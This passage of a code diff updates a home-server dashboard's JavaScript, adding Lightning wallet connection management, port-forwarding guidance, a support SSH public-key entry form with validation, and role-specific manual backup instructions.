|
||||
try {
|
||||
var payload = await apiFetch("/api/nwc/wallets", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
name: name,
|
||||
alias: alias,
|
||||
access_preset: preset,
|
||||
spending_limit_sats: preset === "send_receive_limited" ? limit : null
|
||||
})
|
||||
});
|
||||
_nwcModalState.lastCreated = {
|
||||
wallet: payload.wallet || null,
|
||||
pairing_uri: payload.pairing_uri || "",
|
||||
pairing_qrcode: payload.pairing_qrcode || "",
|
||||
lightning_address: payload.lightning_address || null
|
||||
};
|
||||
_nwcModalState.view = "created";
|
||||
_nwcSetMessage("success", "Wallet created. Save the one-time secret before you continue.");
|
||||
_nwcBusy(false);
|
||||
_nwcRenderWalletState();
|
||||
} catch (err) {
|
||||
_nwcBusy(false);
|
||||
_nwcSetMessage("error", (err && err.message) ? err.message : "Failed to create wallet connection.");
|
||||
_nwcRenderWalletState();
|
||||
}
|
||||
}
|
||||
|
||||
async function _nwcVerifyWallet(alias) {
|
||||
if (!_nwcModalState || _nwcModalState.busy || !alias) return;
|
||||
_nwcBusy(true);
|
||||
_nwcClearMessage();
|
||||
_nwcRenderWalletState();
|
||||
try {
|
||||
await apiFetch("/api/nwc/addresses/" + encodeURIComponent(alias) + "/test", { method: "POST" });
|
||||
_nwcSetMessage("success", "Lightning Address verification succeeded for " + alias + ".");
|
||||
} catch (err) {
|
||||
_nwcSetMessage("error", (err && err.message) ? err.message : "Lightning Address verification failed.");
|
||||
}
|
||||
_nwcBusy(false);
|
||||
_nwcRenderWalletState();
|
||||
}
|
||||
|
||||
async function _nwcDrainWallet(walletId) {
|
||||
if (!_nwcModalState || _nwcModalState.busy || !walletId) return;
|
||||
if (!window.confirm("Drain this wallet connection now? This cannot be undone.")) return;
|
||||
_nwcBusy(true);
|
||||
_nwcClearMessage();
|
||||
_nwcRenderWalletState();
|
||||
try {
|
||||
var resp = await apiFetch("/api/nwc/wallets/" + encodeURIComponent(walletId) + "/drain", { method: "POST" });
|
||||
_nwcSetMessage("success", "Wallet drained (" + String(resp.drained_sats || 0) + " sats).");
|
||||
_nwcBusy(false);
|
||||
await _nwcRefreshWallets();
|
||||
} catch (err) {
|
||||
_nwcBusy(false);
|
||||
_nwcSetMessage("error", (err && err.message) ? err.message : "Failed to drain wallet.");
|
||||
_nwcRenderWalletState();
|
||||
}
|
||||
}
|
||||
|
||||
async function _nwcDeleteWallet(walletId) {
|
||||
if (!_nwcModalState || _nwcModalState.busy || !walletId) return;
|
||||
if (!window.confirm("Delete this wallet connection? This removes the wallet alias from Lightning Wallet Connections.")) return;
|
||||
_nwcBusy(true);
|
||||
_nwcClearMessage();
|
||||
_nwcRenderWalletState();
|
||||
try {
|
||||
await apiFetch("/api/nwc/wallets/" + encodeURIComponent(walletId), { method: "DELETE" });
|
||||
_nwcSetMessage("success", "Wallet connection deleted.");
|
||||
_nwcBusy(false);
|
||||
await _nwcRefreshWallets();
|
||||
} catch (err) {
|
||||
_nwcBusy(false);
|
||||
_nwcSetMessage("error", (err && err.message) ? err.message : "Failed to delete wallet connection.");
|
||||
_nwcRenderWalletState();
|
||||
}
|
||||
}
|
||||
|
||||
async function _nwcInitWalletFlow(unit, name, icon) {
|
||||
_nwcModalState = {
|
||||
unit: unit,
|
||||
name: name,
|
||||
icon: icon,
|
||||
view: "empty",
|
||||
wallets: [],
|
||||
domain: null,
|
||||
busy: false,
|
||||
message: "",
|
||||
messageKind: "",
|
||||
lastCreated: null,
|
||||
shareWallet: null,
|
||||
createForm: {
|
||||
name: "",
|
||||
alias: "",
|
||||
access_preset: "receive_only",
|
||||
spending_limit_sats: ""
|
||||
}
|
||||
};
|
||||
await _nwcRefreshWallets();
|
||||
}
|
||||
|
||||
async function openServiceDetailModal(unit, name, icon) {
|
||||
if (!$credsModal) return;
|
||||
var isNwc = _isNwcServiceUnit(unit);
|
||||
_setCredsDialogWide(isNwc);
|
||||
if ($credsTitle) {
|
||||
$credsTitle.innerHTML = '';
|
||||
if (icon) {
|
||||
@@ -81,13 +653,38 @@ async function openServiceDetailModal(unit, name, icon) {
|
||||
var url = "/api/service-detail/" + encodeURIComponent(unit);
|
||||
if (icon) url += "?icon=" + encodeURIComponent(icon);
|
||||
var data = await apiFetch(url);
|
||||
|
||||
// Append version badge next to title if version is detected
|
||||
var serviceVersion = data.version || data.bitcoin_version || '';
|
||||
if (serviceVersion && $credsTitle) {
|
||||
var existingBadge = $credsTitle.querySelector(".creds-title-version-badge");
|
||||
if (existingBadge) {
|
||||
existingBadge.textContent = serviceVersion;
|
||||
} else {
|
||||
var badge = document.createElement("span");
|
||||
badge.className = "creds-title-version-badge";
|
||||
badge.textContent = serviceVersion;
|
||||
$credsTitle.appendChild(badge);
|
||||
}
|
||||
}
|
||||
|
||||
// Two content buckets. For most services everything lands in `html` and is
|
||||
// rendered as one column, exactly as before. For Lightning Wallet
|
||||
// Connections the day-to-day wallet manager (html) is split away from the
|
||||
// service plumbing — status, enable/disable, domain, ports, restart
|
||||
// (setupHtml) — and the two are rendered as tabs so neither feels cramped.
|
||||
var html = "";
|
||||
var setupHtml = "";
|
||||
function addSetup(chunk) {
|
||||
if (isNwc) setupHtml += chunk;
|
||||
else html += chunk;
|
||||
}
|
||||
|
||||
// Section A: Description
|
||||
if (data.description) {
|
||||
html += '<div class="svc-detail-section">' +
|
||||
addSetup('<div class="svc-detail-section">' +
|
||||
'<p class="svc-detail-desc">' + escHtml(data.description) + '</p>' +
|
||||
'</div>';
|
||||
'</div>');
|
||||
}
|
||||
|
||||
// Section B: Status
|
||||
@@ -99,13 +696,13 @@ async function openServiceDetailModal(unit, name, icon) {
|
||||
: (data.health || data.status);
|
||||
var sc = statusClass(effectiveHealth);
|
||||
var st = statusText(effectiveHealth, effectiveEnabled);
|
||||
html += '<div class="svc-detail-section">' +
|
||||
addSetup('<div class="svc-detail-section">' +
|
||||
'<div class="svc-detail-section-title">Status</div>' +
|
||||
'<div class="svc-detail-status">' +
|
||||
'<span class="status-dot ' + sc + '"></span>' +
|
||||
'<span>' + escHtml(st) + '</span>' +
|
||||
'</div>' +
|
||||
'</div>';
|
||||
'</div>');
|
||||
|
||||
// Section B2: BIP-110 live status (bip110 tile only)
|
||||
if (icon === 'bip110' && data.bip110) {
|
||||
@@ -147,83 +744,130 @@ async function openServiceDetailModal(unit, name, icon) {
|
||||
domainActionHtml = '<button class="btn btn-primary svc-detail-domain-btn" id="svc-detail-reconfig-domain-btn">🔄 Reconfigure Domain</button>';
|
||||
}
|
||||
|
||||
html += '<div class="svc-detail-section">' +
|
||||
addSetup('<div class="svc-detail-section">' +
|
||||
'<div class="svc-detail-section-title">Domain Diagnostic Checklist</div>' +
|
||||
stepsHtml +
|
||||
domainActionHtml +
|
||||
'</div>';
|
||||
'</div>');
|
||||
|
||||
if (unit === "livekit.service" && data.extra_ports && data.extra_ports.length > 0) {
|
||||
var extraRows = "";
|
||||
data.extra_ports.forEach(function(p) {
|
||||
var statusIcon, statusClass2;
|
||||
if (p.status === "listening") {
|
||||
statusIcon = "✅ Open";
|
||||
statusClass2 = "port-status-listening";
|
||||
} else if (p.status === "firewall_open") {
|
||||
statusIcon = "🟡 Firewall open";
|
||||
statusClass2 = "port-status-open";
|
||||
} else if (p.status === "closed") {
|
||||
statusIcon = "❌ Closed";
|
||||
statusClass2 = "port-status-closed";
|
||||
} else {
|
||||
statusIcon = "— Unknown";
|
||||
statusClass2 = "port-status-unknown";
|
||||
}
|
||||
extraRows += '<tr>' +
|
||||
'<td class="svc-detail-port-table-port">' + escHtml(p.port) + '</td>' +
|
||||
'<td class="svc-detail-port-table-proto">' + escHtml(p.protocol) + '</td>' +
|
||||
'<td class="svc-detail-port-table-desc">' + escHtml(p.description || "") + '</td>' +
|
||||
'<td class="svc-detail-port-table-status ' + statusClass2 + '">' + statusIcon + '</td>' +
|
||||
'</tr>';
|
||||
});
|
||||
html += '<div class="svc-detail-section">' +
|
||||
'<div class="svc-detail-section-title">Step 4: Additional Ports</div>' +
|
||||
'<table class="svc-detail-port-table">' +
|
||||
'<thead><tr><th>Port</th><th>Protocol</th><th>Description</th><th>Status</th></tr></thead>' +
|
||||
'<tbody>' + extraRows + '</tbody>' +
|
||||
'</table>' +
|
||||
'</div>';
|
||||
if (data.router_ports && data.router_ports.length > 0) {
|
||||
var trimmedInternalIp = data.internal_ip ? String(data.internal_ip).trim() : "";
|
||||
addSetup('<div class="svc-detail-section">' +
|
||||
'<div class="svc-detail-section-title">Ports to Forward in Your Router</div>' +
|
||||
renderPortForwardGuideHtml(data.router_ports, {
|
||||
internalIp: trimmedInternalIp || null,
|
||||
tableClass: "svc-detail-port-table",
|
||||
introClass: "svc-detail-port-note",
|
||||
noteClass: "svc-detail-port-note",
|
||||
}) +
|
||||
'</div>');
|
||||
}
|
||||
} else if (data.port_statuses && data.port_statuses.length > 0) {
|
||||
// Non-domain services (SSH) keep local single-port checks.
|
||||
var portTableRows = "";
|
||||
data.port_statuses.forEach(function(p) {
|
||||
var statusIcon, statusClass2;
|
||||
if (p.status === "listening") {
|
||||
statusIcon = "✅ Open";
|
||||
statusClass2 = "port-status-listening";
|
||||
} else if (p.status === "firewall_open") {
|
||||
statusIcon = "🟡 Firewall open";
|
||||
statusClass2 = "port-status-open";
|
||||
} else if (p.status === "closed") {
|
||||
statusIcon = "🔴 Closed";
|
||||
statusClass2 = "port-status-closed";
|
||||
} else {
|
||||
statusIcon = "— Unknown";
|
||||
statusClass2 = "port-status-unknown";
|
||||
}
|
||||
portTableRows += '<tr>' +
|
||||
'<td class="svc-detail-port-table-port">' + escHtml(p.port) + '</td>' +
|
||||
'<td class="svc-detail-port-table-proto">' + escHtml(p.protocol) + '</td>' +
|
||||
'<td class="svc-detail-port-table-desc">' + escHtml(p.description || "") + '</td>' +
|
||||
'<td class="svc-detail-port-table-status ' + statusClass2 + '">' + statusIcon + '</td>' +
|
||||
'</tr>';
|
||||
// Non-domain services (e.g. SSH): show what to forward, plus a short
|
||||
// note if the service isn't actually listening on this computer yet.
|
||||
var localInternalIp = data.internal_ip ? String(data.internal_ip).trim() : "";
|
||||
var notListening = data.port_statuses.filter(function(p) {
|
||||
return p.status === "closed";
|
||||
});
|
||||
var localNote = notListening.length
|
||||
? '<div class="svc-detail-port-note port-status-closed">' +
|
||||
'⚠ Port ' + escHtml(notListening.map(function(p) { return p.port; }).join(", ")) +
|
||||
' is not open on this computer yet — enable the service below first, then forward it in your router.' +
|
||||
'</div>'
|
||||
: "";
|
||||
html += '<div class="svc-detail-section">' +
|
||||
'<div class="svc-detail-section-title">Port Status</div>' +
|
||||
'<table class="svc-detail-port-table">' +
|
||||
'<thead><tr><th>Port</th><th>Protocol</th><th>Description</th><th>Status</th></tr></thead>' +
|
||||
'<tbody>' + portTableRows + '</tbody>' +
|
||||
'</table>' +
|
||||
'<div class="svc-detail-section-title">Ports to Forward in Your Router</div>' +
|
||||
'<div class="svc-detail-port-note">Only needed if you want to reach this service from <strong>outside</strong> your home network. On your local network it already works without any router changes.</div>' +
|
||||
renderPortForwardGuideHtml(data.port_statuses, {
|
||||
internalIp: localInternalIp || null,
|
||||
tableClass: "svc-detail-port-table",
|
||||
introClass: "svc-detail-port-note",
|
||||
noteClass: "svc-detail-port-note",
|
||||
}) +
|
||||
localNote +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
// Section E: Credentials & Links
|
||||
if (data.has_credentials && data.credentials && data.credentials.length > 0) {
|
||||
if (isNwc) {
|
||||
if (effectiveEnabled || data.enabled) {
|
||||
html += '<div class="nwc-tab-intro">' +
|
||||
'<div class="nwc-intro-header">' +
|
||||
'<div class="nwc-tab-intro-title">Lightning Wallet Connections</div>' +
|
||||
'<p class="nwc-tab-intro-desc">Powerful, isolated wallets for your daily spending and modern apps.</p>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-benefits-grid">' +
|
||||
'<div class="nwc-benefit-item">' +
|
||||
'<div class="nwc-benefit-icon">🛡️</div>' +
|
||||
'<div class="nwc-benefit-content">' +
|
||||
'<strong>Isolated & Secure</strong>' +
|
||||
'<p>Create sandboxed wallets for quick spending while keeping your main node protected. Isolated access is faster than Tor and perfect for budgeting.</p>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-benefit-item">' +
|
||||
'<div class="nwc-benefit-icon">🌐</div>' +
|
||||
'<div class="nwc-benefit-content">' +
|
||||
'<strong>Modern Ecosystem</strong>' +
|
||||
'<p>Easily spend and receive bitcoin using LNURL and Nostr (NWC) across the growing ecosystem of decentralized apps.</p>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-benefit-item">' +
|
||||
'<div class="nwc-benefit-icon">📱</div>' +
|
||||
'<div class="nwc-benefit-content">' +
|
||||
'<strong>Zeus on the Go (via NWC)</strong>' +
|
||||
'<p>Connect Zeus to your wallet using NWC — no Tor, no port forwarding. Create a wallet below, scan the pairing QR, and start spending from your phone.</p>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div id="nwc-wallets-body"><p class="creds-loading">Loading wallets…</p></div>' +
|
||||
'<details class="nwc-liquidity-details">' +
|
||||
'<summary class="nwc-liquidity-summary">' +
|
||||
'<span class="nwc-liquidity-icon">⚡</span>' +
|
||||
'<span>' +
|
||||
'<strong>Lightning Channel & Liquidity Guide</strong>' +
|
||||
'<span class="nwc-liquidity-subtitle">Why a brand-new node can\'t send or receive yet</span>' +
|
||||
'</span>' +
|
||||
'</summary>' +
|
||||
'<div class="nwc-liquidity-guide-card">' +
|
||||
'<p class="nwc-liquidity-body">' +
|
||||
'Your wallets, pairing keys, and Lightning Address endpoints (like <code>name@yourdomain.com</code>) work the moment you create them. Moving actual bitcoin, though, needs a Lightning node with open channels.' +
|
||||
'</p>' +
|
||||
'<div class="nwc-liquidity-steps">' +
|
||||
'<div class="nwc-liquidity-step">' +
|
||||
'<div class="step-num">1</div>' +
|
||||
'<div>' +
|
||||
'<strong>Outbound Liquidity (Sending)</strong>' +
|
||||
'<p class="nwc-liquidity-step-desc">Required so connected apps can pay invoices and send funds.</p>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-liquidity-step">' +
|
||||
'<div class="step-num">2</div>' +
|
||||
'<div>' +
|
||||
'<strong>Inbound Liquidity (Receiving)</strong>' +
|
||||
'<p class="nwc-liquidity-step-desc">Required so your Lightning Address can receive payments from anyone.</p>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'<div class="nwc-liquidity-action">' +
|
||||
'<p class="nwc-liquidity-analogy">💧 <strong>The Plumbing Analogy:</strong> Channels are two-way water pipes. To pour water in (receive) or pump it out (send), you need open channels with liquidity on the right side.</p>' +
|
||||
'<button class="matrix-action-btn nwc-rtl-btn" id="nwc-open-rtl-btn">🚀 Open Ride The Lightning (RTL) to Manage Channels</button>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</details>';
|
||||
} else {
|
||||
html += '<div class="nwc-disabled-state">' +
|
||||
'<div class="nwc-disabled-icon">⚡</div>' +
|
||||
'<div class="nwc-disabled-title">Lightning Wallet Connections is turned off</div>' +
|
||||
'<p class="nwc-disabled-desc">Enable it on the <strong>Service & Setup</strong> tab and rebuild, then come back here to create and manage wallets.</p>' +
|
||||
'<button class="btn btn-primary" id="nwc-goto-setup-btn">⚙ Go to Service & Setup</button>' +
|
||||
'</div>';
|
||||
}
|
||||
} else if (data.has_credentials && data.credentials && data.credentials.length > 0) {
|
||||
html += '<div class="svc-detail-section">' +
|
||||
'<div class="svc-detail-section-title">Credentials & Access</div>' +
|
||||
_renderCredsHtml(data.credentials, unit) +
|
||||
(unit === "zeus-connect-setup.service" ? _getZeusConnectGuideHtml() : "") +
|
||||
(unit === "matrix-synapse.service" ?
|
||||
'<hr class="matrix-actions-divider"><div class="matrix-actions-row">' +
|
||||
'<button class="matrix-action-btn" id="matrix-add-user-btn">➕ Add New User</button>' +
|
||||
@@ -279,7 +923,7 @@ async function openServiceDetailModal(unit, name, icon) {
|
||||
conflictsHtml = '<div class="feature-conflict-warning">\u26A0 Mutually exclusive with: ' + escHtml(conflictNames.join(", ")) + '</div>';
|
||||
}
|
||||
|
||||
html += '<div class="svc-detail-section">' +
|
||||
addSetup('<div class="svc-detail-section">' +
|
||||
'<div class="svc-detail-section-title">' + addonSectionTitle + '</div>' +
|
||||
'<p class="svc-detail-desc">' + escHtml(addonDesc) + '</p>' +
|
||||
conflictsHtml +
|
||||
@@ -287,20 +931,45 @@ async function openServiceDetailModal(unit, name, icon) {
|
||||
'<span class="svc-detail-addon-status ' + addonStatusCls + '">' + addonStatusLabel + '</span>' +
|
||||
'<button class="' + addonBtnCls + '" id="svc-detail-addon-btn">' + escHtml(addonBtnLabel) + '</button>' +
|
||||
'</div>' +
|
||||
'</div>';
|
||||
'</div>');
|
||||
}
|
||||
|
||||
if ((effectiveEnabled || data.enabled) && unit !== "phpfpm-nextcloud.service" && unit !== "phpfpm-wordpress.service") {
|
||||
html += '<div class="svc-detail-section svc-detail-restart-section">' +
|
||||
addSetup('<div class="svc-detail-section svc-detail-restart-section">' +
|
||||
'<div class="svc-detail-section-title">Troubleshooting</div>' +
|
||||
'<p class="svc-detail-desc">If you\'re experiencing issues with this service, try restarting it.</p>' +
|
||||
'<button class="btn btn-warning svc-detail-restart-btn" id="svc-detail-restart-btn">🔄 Restart Service</button>' +
|
||||
'<div class="svc-detail-restart-result" id="svc-detail-restart-result"></div>' +
|
||||
'</div>';
|
||||
'</div>');
|
||||
}
|
||||
|
||||
if (isNwc) {
|
||||
// Land on Setup when the service is off or the domain still needs
|
||||
// configuring — otherwise the Wallets tab is the useful default.
|
||||
var domainReady = !!data.domain;
|
||||
var startTab = (effectiveEnabled || data.enabled) && domainReady ? "wallets" : "setup";
|
||||
html = _nwcTabsShellHtml({
|
||||
walletsHtml: html,
|
||||
setupHtml: setupHtml,
|
||||
statusDotClass: sc,
|
||||
statusLabel: st,
|
||||
domain: data.domain || null,
|
||||
activeTab: startTab
|
||||
});
|
||||
}
|
||||
|
||||
$credsBody.innerHTML = html;
|
||||
if (isNwc) _nwcWireTabs();
|
||||
_attachCopyHandlers($credsBody);
|
||||
if (_isNwcServiceUnit(unit) && (effectiveEnabled || data.enabled)) {
|
||||
await _nwcInitWalletFlow(unit, name, icon);
|
||||
var nwcRtlBtn = document.getElementById("nwc-open-rtl-btn");
|
||||
if (nwcRtlBtn) {
|
||||
nwcRtlBtn.addEventListener("click", function() {
|
||||
openServiceDetailModal("rtl.service", "Ride The Lightning", "rtl");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (unit === "matrix-synapse.service") {
|
||||
var addBtn = document.getElementById("matrix-add-user-btn");
|
||||
@@ -386,6 +1055,7 @@ async function openServiceDetailModal(unit, name, icon) {
|
||||
|
||||
async function openCredsModal(unit, name, icon) {
|
||||
if (!$credsModal) return;
|
||||
_setCredsDialogWide(false);
|
||||
if ($credsTitle) {
|
||||
$credsTitle.innerHTML = '';
|
||||
if (icon) {
|
||||
@@ -415,6 +1085,9 @@ async function openCredsModal(unit, name, icon) {
|
||||
'<button class="matrix-action-btn" id="matrix-change-pw-btn">🔑 Change Password</button>' +
|
||||
'</div>';
|
||||
}
|
||||
if (unit === "zeus-connect-setup.service") {
|
||||
html += _getZeusConnectGuideHtml();
|
||||
}
|
||||
$credsBody.innerHTML = html;
|
||||
_attachCopyHandlers($credsBody);
|
||||
if (unit === "matrix-synapse.service") {
|
||||
|
||||
@@ -49,6 +49,9 @@ const $btnSave = document.getElementById("btn-save-report");
|
||||
const $btnCloseModal = document.getElementById("btn-close-modal");
|
||||
|
||||
const $rebootOverlay = document.getElementById("reboot-overlay");
|
||||
const $rebootMainCard = document.getElementById("reboot-main-card");
|
||||
const $rebootErrorCard = document.getElementById("reboot-error-card");
|
||||
const $rebootSubmessage = document.getElementById("reboot-submessage");
|
||||
|
||||
const $credsModal = document.getElementById("creds-modal");
|
||||
const $credsTitle = document.getElementById("creds-modal-title");
|
||||
@@ -101,5 +104,14 @@ const $upgradeConfirmBtn = document.getElementById("upgrade-confirm-btn");
|
||||
const $upgradeCancelBtn = document.getElementById("upgrade-cancel-btn");
|
||||
const $upgradeCloseBtn = document.getElementById("upgrade-close-btn");
|
||||
|
||||
// Restart confirm dialog
|
||||
const $restartConfirmModal = document.getElementById("restart-confirm-modal");
|
||||
const $restartConfirmOk = document.getElementById("restart-confirm-ok-btn");
|
||||
const $restartConfirmCancel = document.getElementById("restart-confirm-cancel-btn");
|
||||
const $restartConflictBox = document.getElementById("restart-conflict-box");
|
||||
|
||||
// Header reboot button
|
||||
const $headerRebootBtn = document.getElementById("btn-header-reboot");
|
||||
|
||||
// System status banner
|
||||
// (removed — health is now shown per-tile via the composite health field)
|
||||
@@ -110,12 +110,26 @@ function renderSupportInactive() {
|
||||
'</div>',
|
||||
'<div class="support-steps"><div class="support-steps-title">What happens:</div><ol>',
|
||||
'<li>A restricted <code>sovran-support</code> user is created with limited access</li>',
|
||||
'<li>Our SSH key is added only to that restricted account</li>',
|
||||
'<li>Support\'s SSH key is added only to that restricted account — not to root</li>',
|
||||
'<li>Wallet files are locked via access controls — not visible to support</li>',
|
||||
'<li>You control if and when wallet access is granted (time-limited)</li>',
|
||||
'<li>All session events are logged for your audit</li>',
|
||||
'<li>Access expires automatically after 24 hours</li>',
|
||||
'</ol></div>',
|
||||
'<div class="support-key-section">',
|
||||
'<label class="support-key-label" for="support-ssh-pubkey">',
|
||||
'<strong>Paste the support SSH public key provided by Sovran Systems:</strong>',
|
||||
'</label>',
|
||||
'<textarea id="support-ssh-pubkey" class="support-key-input" rows="3" ',
|
||||
'placeholder="ssh-ed25519 AAAA… support-session" ',
|
||||
'spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>',
|
||||
'<p class="support-key-hint">',
|
||||
'The key must start with <code>ssh-ed25519</code> or <code>ecdsa-sha2-nistp256</code>. ',
|
||||
'Do not paste your own private key — only paste the one-time public key sent by Sovran Systems support.',
|
||||
'</p>',
|
||||
'</div>',
|
||||
'<button class="btn support-btn-enable" id="btn-support-enable">Enable Support Access</button>',
|
||||
'<p id="support-key-error" class="support-key-error" style="display:none;color:#c0392b;margin-top:8px;"></p>',
|
||||
'<p class="support-fine-print">You can revoke access at any time. When you end the session, you\'ll be able to disable SSH to return to the default secure state.</p>',
|
||||
'</div>',
|
||||
].join("");
|
||||
@@ -227,16 +241,43 @@ function renderSupportRemoved(verified) {
|
||||
|
||||
async function enableSupport() {
|
||||
var btn = document.getElementById("btn-support-enable");
|
||||
var errEl = document.getElementById("support-key-error");
|
||||
var textarea = document.getElementById("support-ssh-pubkey");
|
||||
if (errEl) { errEl.style.display = "none"; errEl.textContent = ""; }
|
||||
|
||||
var sshKey = textarea ? textarea.value.trim() : "";
|
||||
if (!sshKey) {
|
||||
if (errEl) { errEl.textContent = "Please paste the SSH public key provided by Sovran Systems support."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
// Client-side pre-validation: key must start with a known algorithm prefix
|
||||
var validPrefixes = ["ssh-ed25519 ", "ecdsa-sha2-nistp256 ", "ecdsa-sha2-nistp384 ", "ecdsa-sha2-nistp521 ", "sk-ssh-ed25519@openssh.com "];
|
||||
var hasValidPrefix = validPrefixes.some(function(p) { return sshKey.startsWith(p); });
|
||||
if (!hasValidPrefix) {
|
||||
if (errEl) { errEl.textContent = "Invalid key format. The key must start with ssh-ed25519 or ecdsa-sha2-nistp256. Do not paste a private key."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
if (sshKey.indexOf("\n") !== -1) {
|
||||
if (errEl) { errEl.textContent = "The key must be a single line. Please check the pasted value."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
|
||||
if (btn) { btn.disabled = true; btn.textContent = "Enabling…"; }
|
||||
try {
|
||||
await apiFetch("/api/support/enable", { method: "POST" });
|
||||
await apiFetch("/api/support/enable", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ ssh_public_key: sshKey }),
|
||||
});
|
||||
var status = await apiFetch("/api/support/status");
|
||||
_supportStatus = status;
|
||||
_supportEnabledAt = status.enabled_at;
|
||||
renderSupportActive(status);
|
||||
} catch (err) {
|
||||
if (btn) { btn.disabled = false; btn.textContent = "Enable Support Access"; }
|
||||
alert("Failed to enable support access. Please try again.");
|
||||
var detail = (err && err.detail) ? err.detail : "Failed to enable support access. Please check the key and try again.";
|
||||
if (errEl) { errEl.textContent = detail; errEl.style.display = "block"; }
|
||||
else { alert(detail); }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -473,45 +514,99 @@ function renderBackupReady(drives) {
|
||||
].join("");
|
||||
}
|
||||
|
||||
// ── Role-aware backup description ─────────────────────────────
|
||||
// Desktop Only systems run no server or Bitcoin services and have no
|
||||
// internal second drive, so the backup mirrors only the NixOS configuration
|
||||
// and home directory. nix-bitcoin secrets, /var/lib system service data,
|
||||
// and the database/blockchain caveats apply only to the Node and
|
||||
// Server + Desktop roles.
|
||||
var isDesktopOnly = (_currentRole === "desktop");
|
||||
|
||||
var introHtml;
|
||||
if (isDesktopOnly) {
|
||||
introHtml = [
|
||||
'<div class="support-wallet-box support-wallet-protected" style="margin-bottom:16px;">',
|
||||
'<p class="support-wallet-desc">',
|
||||
'This manual backup lets you create a copy of your system on an external USB drive \u2014 ',
|
||||
'storing your data in a second location, outside the computer, for maximum protection ',
|
||||
'against hardware failure or physical damage.',
|
||||
'</p>',
|
||||
'</div>',
|
||||
].join("");
|
||||
} else {
|
||||
introHtml = [
|
||||
'<div class="support-wallet-box support-wallet-protected" style="margin-bottom:16px;">',
|
||||
'<p class="support-wallet-desc">',
|
||||
'Your Sovran Pro already backs up your data automatically to its internal second drive. ',
|
||||
'This manual backup lets you create an additional copy on an external USB drive \u2014 ',
|
||||
'storing your data in a third location, outside the computer, for maximum protection ',
|
||||
'against hardware failure or physical damage.',
|
||||
'</p>',
|
||||
'</div>',
|
||||
].join("");
|
||||
}
|
||||
|
||||
var backupItemsHtml;
|
||||
if (isDesktopOnly) {
|
||||
backupItemsHtml = [
|
||||
'<li>NixOS configuration (<code>/etc/nixos</code>)</li>',
|
||||
'<li>Home directory (<code>/home</code>)</li>',
|
||||
].join("");
|
||||
} else {
|
||||
backupItemsHtml = [
|
||||
'<li>NixOS configuration (<code>/etc/nixos</code>)</li>',
|
||||
'<li>nix-bitcoin secrets (<code>/etc/nix-bitcoin-secrets</code>)</li>',
|
||||
'<li>System service data (<code>/var/lib</code>) — excluding databases and blockchain data (see note below)</li>',
|
||||
'<li>Home directory (<code>/home</code>)</li>',
|
||||
].join("");
|
||||
}
|
||||
|
||||
// The database/blockchain caveat is only relevant when server services exist.
|
||||
var dbNoteHtml = "";
|
||||
if (!isDesktopOnly) {
|
||||
dbNoteHtml = [
|
||||
'<div class="support-wallet-box support-wallet-warning">',
|
||||
'<div class="support-wallet-header">',
|
||||
'<span class="support-wallet-icon">\u2139\ufe0f</span>',
|
||||
'<span class="support-wallet-title">Database and Blockchain Data</span>',
|
||||
'</div>',
|
||||
'<p class="support-wallet-desc">Application databases stored in PostgreSQL or MariaDB/MySQL are <strong>not included</strong> in Manual Backup. Bitcoin blockchain and Electrs index data are also excluded (they are stored on the internal second drive). If you use Nextcloud, Matrix, or other database-backed applications, back up those databases separately with their native tools.</p>',
|
||||
'</div>',
|
||||
].join("");
|
||||
}
|
||||
|
||||
$supportBody.innerHTML = [
|
||||
'<div class="support-section">',
|
||||
'<div class="support-icon-big">\ud83d\udcbe</div>',
|
||||
'<h3 class="support-heading">Manual Backup</h3>',
|
||||
|
||||
'<div class="support-wallet-box support-wallet-protected" style="margin-bottom:16px;">',
|
||||
'<p class="support-wallet-desc">',
|
||||
'Your Sovran Pro already backs up your data automatically to its internal second drive. ',
|
||||
'This manual backup lets you create an additional copy on an external USB drive \u2014 ',
|
||||
'storing your data in a third location, outside the computer, for maximum protection ',
|
||||
'against hardware failure or physical damage.',
|
||||
'</p>',
|
||||
'</div>',
|
||||
introHtml,
|
||||
|
||||
'<div class="support-steps">',
|
||||
'<div class="support-steps-title">Requirements</div>',
|
||||
'<ol class="support-backup-steps">',
|
||||
'<li>USB hard drive plugged into one of the open USB ports on your Sovran Pro</li>',
|
||||
'<li>At least 500 GB of free space on the drive</li>',
|
||||
'<li>Drive must be formatted as <strong>exFAT</strong></li>',
|
||||
'<li>Enough free space for your data (the backup checks this before starting)</li>',
|
||||
'<li>Drive must be formatted as <strong>ext4</strong> (a Linux filesystem). Drives with exFAT, FAT32, or NTFS are not supported. To format a drive as ext4, use a Linux tool such as GParted or <code>mkfs.ext4</code> — note that formatting erases all data on the drive.</li>',
|
||||
'<li>The drive is intended for Linux/Sovran recovery. It may not be directly readable by Windows or macOS without additional software.</li>',
|
||||
'</ol>',
|
||||
'</div>',
|
||||
|
||||
'<div class="support-steps">',
|
||||
'<div class="support-steps-title">What gets backed up</div>',
|
||||
'<ol class="support-backup-steps">',
|
||||
'<li>NixOS configuration (<code>/etc/nixos</code>)</li>',
|
||||
'<li>nix-bitcoin secrets (<code>/etc/nix-bitcoin-secrets</code>)</li>',
|
||||
'<li>System service data (<code>/var/lib</code>) including Vaultwarden, bitcoind, LND, sovran-hub, domains, and secrets</li>',
|
||||
'<li>Home directory (<code>/home</code>)</li>',
|
||||
backupItemsHtml,
|
||||
'</ol>',
|
||||
'</div>',
|
||||
|
||||
'<div class="support-wallet-box support-wallet-warning">',
|
||||
dbNoteHtml,
|
||||
|
||||
